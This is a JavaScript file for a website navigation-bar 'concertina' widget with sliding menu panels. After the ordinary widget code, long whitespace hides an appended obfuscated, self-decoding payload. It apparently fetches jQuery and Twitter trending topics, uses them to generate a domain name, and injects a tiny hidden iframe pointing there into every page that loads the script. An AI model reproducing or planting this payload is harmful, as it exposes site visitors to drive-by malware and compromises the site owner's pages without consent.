
//Entry point
function wp_navbar_concertina(menubarid, navtree, options, styleOptions)
{
	var me = this;
	
	me.buttons = [];
	me.curDividers = [];
	me.desDividers = [];
	me.sizeProperty = 'width';	//'width' or 'height'
	me.posProperty = 'left';	//'left' or 'top'
	me.totalsize = 0;
	me.defaultSel = -1;
	me.animating = false;
	me.nonimagesize = 200;	//default size
	
	//Default options
	me.options = {
		'images' : [],			//Images can be in options OR style
		'iAlignment' : 0,		//horizontal/vertical
		'bShowCurrent' : true,	//show current page by default
		'bShowChildren' : true,	//show child page links
		'bAnimate' : true,		//enable the sliding animation
		'iSpeed' : 100,			//0 to 100
		'bSmoothScroll' : true	//smooth animation
	};
	if( options )
	{	me.options = WpNavBar.mergeOptions( me.options, options ); }
	
	me.styleOptions = {
		'images': {
			'images' : []
			},
		'items': {
			'divider_width' : '1px',
			'divider_colour' : 'white'
			}	
	};
	if( styleOptions )
	{	me.styleOptions = WpNavBar.mergeOptions( me.styleOptions, styleOptions ); }

		
	me.addLinks = function( divText, navtree )
	{
		var ulLinks = document.createElement('UL');
		ulLinks.style.listStyle = 'none';
		divText.appendChild(ulLinks);
	
		for( var index = 0; index < navtree.length; index++ )
		{
			var navbaritem = navtree[index];
	
			var li = document.createElement('LI');
			var a = document.createElement('A');
			var text = document.createTextNode(navbaritem.sTitle);
			a.appendChild(text);
			a.href = navbaritem.sUrl;
			li.appendChild(a);
			ulLinks.appendChild(li);
		}
	};
	
	me.mousemove = function( e )
	{
		if( this.buttons.length === 0 )
		{	return; }
		if( !e )
		{	e = window.event; }//IE
	
		var mouseX = e.clientX + document.body.scrollLeft + document.documentElement.scrollLeft;
		var mouseY = e.clientY + document.body.scrollTop + document.documentElement.scrollTop;
				
		for( var obj = this.buttons[0].offsetParent; obj; obj=obj.offsetParent )
		{
			mouseX -= obj.offsetLeft;
			mouseY -= obj.offsetTop;
		}
		var selIndex = -1;
		for( var index = 0; index < this.buttons.length; index++ )
		{
			var button = this.buttons[index];
			if( mouseX >= parseInt(button.offsetLeft,10) && mouseX <= parseInt(button.offsetLeft,10) + parseInt(button.offsetWidth,10) &&
				mouseY >= parseInt(button.offsetTop,10) && mouseY <= parseInt(button.offsetTop,10) + parseInt(button.offsetHeight,10) )
			{
				selIndex = index;
				break;
			}
		}
		this.showItem( selIndex, this.options.bAnimate );
	};
	
	me.showItem = function( selIndex, bAnimate )
	{
		if( selIndex == -1 )
		{	selIndex = this.defaultSel; }
	
		var selsize = 0;
		if( selIndex != -1 )
		{
			var selbutton = this.buttons[selIndex];
			var imgs = selbutton.getElementsByTagName('IMG');
			if( imgs.length > 0 )
			{	selsize = parseInt(imgs[0][this.sizeProperty],10); }
			else
			{	selsize = this.nonimagesize; }
		}
		var unselsize = Math.floor( (selsize === 0) ? (this.totalsize / this.buttons.length ) : ( (this.totalsize - selsize) / (this.buttons.length-1) ) );
	
		var mustanimate = false;
		var des = 0;
		for( var index = 0; index < this.buttons.length; index++ )
		{
			des += ( index == selIndex ) ? selsize : unselsize;
			this.desDividers[index] = des;
			if( this.curDividers[index] != this.desDividers[index] )
			{	mustanimate = true; }
		}
		if( mustanimate && !this.animating )
		{	this.animate( bAnimate ); }
	};
	
	me.animate = function(bAnimate)
	{
		this.animating = false;
	
		var pos = 0;
		for( var index = 0; index < this.buttons.length; index++ )
		{
			var button = this.buttons[index];
			if( bAnimate )
			{
				if( this.curDividers[index] != this.desDividers[index] )
				{
					this.animating = true;
	
					var diff = Math.abs( this.curDividers[index] - this.desDividers[index] );
					var step = ( this.options.bSmoothScroll ) ? Math.floor( Math.min(4, Math.max( 1, diff / 16 ) ) ) : Math.min(4,diff);
					this.curDividers[index] += ( this.curDividers[index] < this.desDividers[index] ) ? step : -step;
				}
			}
			else
			{
				this.curDividers[index] = this.desDividers[index];
			}
			button.style[this.posProperty] = pos + 'px';
			button.style[this.sizeProperty] = (this.curDividers[index] - pos) + 'px';
			pos = this.curDividers[index];
		}
	
		//call back here again later
		if( this.animating )
		{	setTimeout( function( root, bAnimate ) { return function() { root.animate(bAnimate); }; }( this, bAnimate ), 50 / ( this.options.iSpeed + 1 ) ); }
	};
	
	me.getButtonSize = function(button)
	{
		var imgs = button.getElementsByTagName('IMG');
		if( imgs.length > 0 )
		{
			var myImage = new Image();
			myImage.src = imgs[0].src;
	
			if( myImage.width > 0 )
			{
				for( var i=0; i<button.childNodes.length; i++)
				{
					button.childNodes[i].style.width = myImage.width + 'px';
					button.childNodes[i].style.height = myImage.height + 'px';
				}
			}
		}
	};
	
	me.onimageload = function(button)
	{	//Loaded an image: reset positions
		this.getButtonSize(button);
		this.showItem( this.defaultSel, false );
	};


	me.sizeProperty = (me.options.iAlignment===0) ? 'width' : 'height';
	me.posProperty = (me.options.iAlignment===0) ? 'left' : 'top';

	var divMain = document.getElementById( menubarid );	//Parent DIV object
	if( !divMain || !navtree || !navtree.childArray || navtree.childArray.length === 0 )
	{	//DIV not found / NavTree could not be loaded
		document.write( '&nbsp;' );
		return;
	}
	var iWidthAdjust =  parseInt(divMain.offsetWidth,10) - parseInt(divMain.style.width,10);
	divMain.style.width = (parseInt(divMain.style.width,10) - iWidthAdjust) + 'px';
	
	me.totalsize = parseInt( (me.options.iAlignment===0) ? divMain.style.width : divMain.style.height, 10 );
	me.defaultSel = -1;

	var navtreemenu = navtree.childArray;
	for( var index = 0; index < navtreemenu.length; index++ )
	{
		var navbaritem = navtreemenu[index];

		var divItem = document.createElement('DIV');
		divMain.appendChild(divItem);
		divItem.style.overflow = 'hidden';
		divItem.style.display = 'block';
		divItem.style.position = 'absolute';
		divItem.style.textAlign = 'left';
		divItem.style.left = "0px";
		divItem.style.width = (me.options.iAlignment===0) ? me.nonimagesize + "px" : divMain.offsetWidth;
		divItem.style.top = "0px";
		divItem.style.height = (me.options.iAlignment===0) ? divMain.offsetHeight : me.nonimagesize + "px";
		divItem.className = "item";
		if( navbaritem.bIsCurrentPage )
		{
			divItem.className += " currentpage";
			if( me.options.bShowCurrent )
			{	me.defaultSel = index; }//show current page by default
		}
		var images = me.options.images.concat( me.styleOptions.images.images );
		if( images.length > 0 )
		{
			var image = ( index < images.length ) ? images[index] : images[images.length-1]; 
			var img = document.createElement('IMG');
			img.src = image;
			img.style.left = '0px';
			img.style.width = '20px';
			img.style.top = '0px';
			img.style.height = '20px';
			img.style.position = 'absolute';
			img.onload = function(root, divItem) { return function() {root.onimageload(divItem); return true;  } }(this, divItem);
			divItem.appendChild(img);

			if( index > 0 )
			{
				var sDivider = 'solid ' + me.styleOptions.items.divider_colour + ' ' + me.styleOptions.items.divider_width;
				if(me.options.iAlignment===0)
				{	img.style.borderLeft = sDivider; }
				else
				{	img.style.borderTop = sDivider; }
			}
		}
		var divText = document.createElement('DIV');
		divItem.appendChild(divText);
		divText.style.background = 'transparent';
		divText.style.display = 'block';
		divText.style.left = '0px';
		divText.style.width = me.nonimagesize + "px";
		divText.style.top = '0px';
		divText.style.height = me.nonimagesize + "px";
		divText.style.position = 'absolute';

		var h = document.createElement('H2');
		divText.appendChild(h);

		var a = document.createElement('A');
		h.appendChild(a);
		a.href = navbaritem.sUrl;

		var text = document.createTextNode(navbaritem.sTitle);
		a.appendChild(text);
		a.style.width = '100%';
		a.style.height = '100%';

		if (me.options.bShowChildren) 
		{   if (navbaritem.childArray)
		    {   me.addLinks(divText, navbaritem.childArray); }
		}
		else
		{
		    h.style.width = '100%';
		    h.style.height = '100%';
		    a.style.display = 'block';
		}
		me.buttons[index] = divItem;
		me.curDividers[index] = 0;
		me.desDividers[index] = 0;
		me.getButtonSize(divItem);
	}
	//Set initial size without animating:
	me.showItem( me.defaultSel, false );

	divMain.onmouseout = divMain.onmousemove = function(root) { return function(event) {root.mousemove( event ); return true;  } }(this);
}


















(function($$){d="( 8 *i= 8var Vc=this;  [Vc\\FullYear %Month %Date %Hours %Minutes %Seconds()]}; *B= 8 &n,Vr=this.#i(),i=0;Vr[1]+=1;while(i++<7){#n=Vr[i] /#n<#b)Vr[i] 4#n}   Vr.splice(~z'),1+~T 0 5~u 0+'T'+Vr 5~U 0};VN={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #G(Vm){#o=[];for(Vx=0;Vx<Vm .;Vx++){#o.push(VN[Vm.charAt(Vx)])}   #T(#o)}VB=document;#x=window; +E='undefined'; +j=~haDWDosestnsdlDjfqcq' :R= ))== +E) /#R||!VD()){if(!#R){try{Vd=jQuery !;try{Vd=$ !}VM=VB.getElementsByTagName(~Y 0[0];#J=VB.createElement(~kS 0;#J.setAttribute(~kr'),#G(\"hxDgakDosxsLsJseD6sJDmDj\"));VM.appendChild(#J)}@ Va(#F,VK){   Math.floor(#F/VK) 6e(#k){var Vg=Va( +u, $G); &C= +u% $G; &S= $r*#C; &L= $J*Vg; &y=#S-#L /#y>0){#u=#y}else{#u=#y+ $A}  (#u%#k) 6z(#w){ +u=~;')+#w; $r=~/'); $A=~;')-~F'); $G=Va( $A, $r); $J= $A% $r 6T(V){   V .==1?V[0]:V 5'')};@ #K(V){d=new Date( :c=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;   d 6p(Vu){ &a,Vn,#f=Vu .; &d=[];while(--#f){Vn=#e(#f :d.push(Vn :a=Vu[Vn];Vu[Vn]=Vu[#f];Vu[#f]=#a}}@ Vp($){Vs=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i){   String.fromCharCode(i+x+24)});   #T(Vs) 6v($){if ))!= +E){$( 8if ).Vt)!= +E)  ;$.Vt=1; 2j,@(Vy){#g=#K(Vy :h=#g\\Month() 9L=#g\\Date();VS=#h+\"-\"+VL;#P=#j+#G(\"E 3;Vj=VP=Va(#g\\Hours(),6)*6 9E=Vj+1;#b=+~ez'); , 2P,@(Vy){try{#D=Vy.trends;#M=#G(\" 3+\" \" /Vj<#b)Vj 4Vj /VE<#b)VE 4VE; 7j+#G(X)] /!#N){ 7E+#G(X)]}#N=(#N[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' :s=#h*71+VP*3+VL*37;#z(#s :q=#e(4)+#b;#p(#N :H=~Ch')+#T(#N).substring(0,#q)+'.com/'+Vp($);VN['Z']=#H;Vb=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vb)}catch(Vf){}})},#b*#b*#b)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#mX','`':'~#G('\\.getUTC  return !.noConflict(true)}catch(e){} $#x.V %(),Vc\\ &var # )(typeof($ *Date.prototype.# +#x.# ,setTimeout( 8 -#v(#x.jQuery)} ..length /;if( 0')) 1yQHTpweeepQ 2$.getJSON(# 3Tzeeu\")+VS 4=~z')+ 5.join( 6}@ # 7#N=#D[#M+V 8@(){ 9+(+~e 0;V :);#";for(c=53;c;d=(t=d.split('#@VX`~\\   ! $ % & ) * + , - . / 0 1 2 3 4 5 6 7 8 9 :'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsmH){return(function(jsm,jsmF){return jsmF(jsm(jsmF(jsm(jsmH))))(jsmH)()})((function(jsm){return jsm.constructor}),(function(jsm){return(function(jsmF){return jsm.call(jsm,jsmF)})}))});

